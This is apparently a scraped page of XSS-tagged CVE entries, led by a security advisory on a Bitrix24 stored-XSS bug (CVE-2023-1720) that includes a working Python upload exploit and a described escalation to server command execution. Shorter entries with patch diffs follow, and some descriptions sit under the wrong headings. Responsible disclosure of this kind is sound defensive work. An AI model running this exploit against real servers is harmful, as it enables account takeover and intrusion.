Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim's browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.

CVE-2023-1719: (CVE-2023-1719) Bitrix24 Insecure Global Variable Extraction

Lack of mime type response header in Bitrix24 22.0.300 allows authenticated remote attackers to execute arbitrary JavaScript code in the victim's browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via uploading a crafted HTML file through /desktop_app/file.ajax.php?action=uploadfile.

**Summary:**

**Product**

Bitrix24

**Vendor**

Bitrix24

**Severity**

High

**Affected Versions**

Bitrix24 22.0.300 (latest version as of writing)

**Tested Versions**

Bitrix24 22.0.300 (latest version as of writing)

**CVE Identifier**

CVE-2023-1720

**CVE Description**

Lack of mime type response header in Bitrix24 22.0.300 allows authenticated remote attackers to execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via uploading a crafted HTML file through /desktop\_app/file.ajax.php?action=uploadfile.

**CWE Classification(s)**

CWE-434 Unrestricted Upload of File with Dangerous Type

**CAPEC Classification(s)**

CAPEC-592 Stored XSS

**CVSS3.1 Scoring System:**

**Base Score:** 9.6 (Critical) **Vector String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

**Metric**

**Value**

**Attack Vector (AV)**

Network

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

None

**User Interaction (UI)**

Required

**Scope (S)**

Changed

**Confidentiality (C)**

High

**Integrity (I)**

High

**Availability (A)**

High

**Vulnerability Details:**

This report presents information on a Cross Site Scripting (XSS) vulnerability that allows an attacker to run arbitrary JavaScript code on the browser of any victim that visits the affected page. If the victim has administrator permissions, an attacker may leverage the built-in “PHP Command Line” feature to execute arbitrary system commands on the target web server.

Unauthenticated users may use the file upload functionality provided by the /desktop_app/file.ajax.php?action=uploadfile. This endpoint also returns the absolute path of the file on the server, which is of the form $BX_ROOT/upload/tmp/BXTEMP-YYYY-MM-DD/00/bxu/disk/XXX/XXX/default where XXX is a 32 character long hexadecimal string.

As the uploads directory is publicly accessible to the internet, an attacker can determine the URL where Apache will serve their malicious uploaded file. As the uploaded file does not have a file extension, Apache serves the file without a content-type header. Therefore, the browser will have to examine the contents of the response to determine its content type. Thus, if the file contains HTML tags, the browser will render the file as HTML and execute any JavaScript that is present in the file, resulting in XSS.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that uploads a malicious HTML file that executes JavaScript to display the current domain name.

A sample exploit script is shown below:

    # Bitrix24 Stored XSS RCE (CVE-2023-XXXXX)
    # Via: https://TARGET_HOST/desktop_app/file.ajax.php?action=uploadfile
    # Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
    
    #!/usr/bin/env python3
    import random
    
    import requests
    import re
    
    HOST = "http://localhost:8000"
    SITE_ID = "s1"
    
    PROXY = {"http": "http://localhost:8080"}
    
    
    def preauth(s):
        res = s.get(HOST)
        return re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), res.text).group(
            1
        )
    
    
    def upload(session, sessid, data):
        CID = random.randint(0, pow(10, 5))
        resp = session.post(
            HOST + "/desktop_app/file.ajax.php?action=uploadfile",
            headers={
                "X-Bitrix-Csrf-Token": sessid,
                "X-Bitrix-Site-Id": SITE_ID,
            },
            data={
                "bxu_info[mode]": "upload",
                "bxu_info[CID]": str(CID),
                "bxu_info[filesCount]": "1",
                "bxu_info[packageIndex]": f"pIndex{CID}",
                "bxu_info[NAME]": f"file{CID}",
                "bxu_files[0][name]": f"file{CID}",
            },
            files={
                "bxu_files[0][default]": (
                    "file",
                    data,
                    "text/plain",
                )
            },
            proxies=PROXY,
        ).json()
        return resp["files"][0]["file"]["files"]["default"]["tmp_name"]
    
    
    if __name__ == "__main__":
        s = requests.Session()
        s.proxies = PROXY
        sessid = preauth(s)
        path = upload(s, sessid, "<script>alert(document.domain)</script>")
        print("Uploaded file to " + path)
        relpath = path[path.index("/upload"):]
        print("Check out " + HOST + relpath + " for XSS!")
    

**Exploit Conditions:**

This vulnerability can be exploited by unauthenticated users. However, the victim has to visit a specially crafted URL supplied by the attacker.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by examining traffic logs to detect the presence of <script> tags and other XSS vectors in uploaded files.

**Credits**

Lam Jun Rong & Li Jiantao of of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline**

*   2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
*   2023-03-18 No reply from vendor, tried using the form again
*   2023-03-21 Email to \[email protected\]
*   2023-03-21 Email to \[email protected\]
*   2023-03-24 Got reply from \[email protected\], they asked us to email to \[email protected\] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
*   2023-03-29 Emailed to \[redacted\], \[redacted\] & \[redacted\]. Team member found the 3 email addresses via an \[USA bug bounty platform\]
*   2023-03-30 \[redacted\] replied to us
*   2023-03-31 \[redacted\] wanted us to report the bugs via that \[USA bug bounty platform\]
*   2023-03-31 Emailed back to \[redacted\] that we are unable to do so because it’s a private program in that \[USA bug bounty platform\]
*   2023-03-31 \[redacted\] emailed back with the invite
*   2023-03-31 Submitted the reports via that \[USA bug bounty platform\]
*   2023-03-31 Informed \[redacted\] again that we are unable to report all the bugs due to \[blah blah blah Requirements\]
*   2023-04-03 \[redacted\] replied that they had remove the \[blah blah blah Requirements\] limitations for us
*   2023-04-04 We submitted the final 2 reports
*   2023-06-21 \[redacted\] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on \[USA bug bounty platform\] instead of CVE publishing. Please let me know what do you think about that.”
*   2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
*   2023-09-22 \[redacted\] finally replied asking us if we are agreeable to publish the CVE in November 2023
*   2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
*   2023-09-22 \[redacted\] accepted the date
*   2023-11-01 Public Release

CVE-2023-1720: (CVE-2023-1720) Bitrix24 Stored Cross-Site Scripting (XSS) via File Upload

Cross-site Scripting (XSS) - Stored in GitHub repository pkp/pkp-lib prior to 3.3.0-16.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2023-5890: pkp/pkp-lib#9411 Reviewer name is not escaped when presented in revie… · pkp/pkp-lib@a868f1c

Cross-site Scripting (XSS) - Stored in GitHub repository pkp/pkp-lib prior to 3.4.0-4.

CVE-2023-5896

Cross-site Scripting (XSS) - Stored in GitHub repository pkp/ojs prior to 3.3.0-16.

Expand Up

@@ -58,7 +58,7 @@ public function getCellActions($request, $row, $column, $position = GridHandler:

'edit',

new AjaxModal(

$router\->url($request, null, null, 'editIssue', null, \['issueId' => $issue\->getId()\]),

\_\_('editor.issues.editIssue', \['issueIdentification' => $issue\->getIssueIdentification()\]),

\_\_('editor.issues.editIssue', \['issueIdentification' => htmlspecialchars($issue\->getIssueIdentification())\]),

'modal\_edit',

true

),

Expand Down

CVE-2023-5894: pkp/pkp-lib#9283 Correctly escape special characters in issue title (… · pkp/ojs@66927de

Cross-site Scripting (XSS) - Reflected in GitHub repository pkp/pkp-lib prior to 3.3.0-16.

Expand Up @@ -49,7 +49,7 @@ public function \_\_construct($action, $locales, $site) { foreach ($contextsIterator as $context) { $options\[\] = \[ 'value' => $context\->getId(), 'label' => $context\->getLocalizedData('name'), 'label' => htmlspecialchars($context\->getLocalizedData('name')), \]; } if (count($options) > 1) $this\->addField(new FieldSelect('redirect', \[ Expand Down

CVE-2023-5891: pkp/pkp-lib#9306 Escape context names in form field labels · pkp/pkp-lib@d4111c4

CVE-2023-5892

Cross-site Scripting (XSS) - DOM in GitHub repository pkp/pkp-lib prior to 3.3.0-16.

CVE-2023-5895

An issue was discovered in Virtualmin 7.7. The Cloudmin Services Client under System Settings allows XSS.

CVE-2023-47096: Virtualmin-7.7/CVE-2023-47096 at main · pavanughade43/Virtualmin-7.7

An issue was discovered in Virtualmin 7.7. The Custom Fields feature of Edit Virtual Server under System Customization allows XSS.

Tag

#xss